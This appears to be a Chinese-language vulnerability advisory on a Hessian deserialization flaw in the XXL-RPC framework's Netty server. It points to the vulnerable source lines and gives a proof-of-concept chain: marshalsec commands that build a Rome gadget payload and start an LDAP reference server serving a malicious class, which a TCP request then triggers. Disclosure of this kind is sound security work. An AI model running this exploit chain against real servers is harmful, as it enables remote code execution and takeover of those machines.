XXL-RPC 框架存在反序列化漏洞,攻击者可通过恶意序列化对象远程执行任意代码,控制服
务器所在的机器
XXL-RPC 可以通过以下代码设置服务器和反序列化器
NettyServer 使用 NettyDecoder 反序列化数据的关键代码
- xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/server/NettyServer.java:57
- xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/codec/NettyDecoder.java:15-45
- xxl-rpc-core/src/main/java/com/xxl/rpc/core/serialize/impl/HessianSerializer.java:45
可以看到调用了 Hessian2Input.readObject 来进行反序列化,而且 XXL-RPC 使用的反序
列化实现库并不安全,容易受到反序列化攻击
RCE Proof of Concept
想要命令执行,目标需要满足两个条件
- 依赖中包含 Rome
- -Dcom.sun.jndi.ldap.object.trustURLCodebase=true
漏洞利用过程:
-
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 Rome ldap://localhost:1389 > payload.bin
-
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/%5C#Evil 1389
-
通过 http 服务提供的恶意 class 文件,源码如下
- 发送 TCP 请求到 Netty 服务器,触发 RCE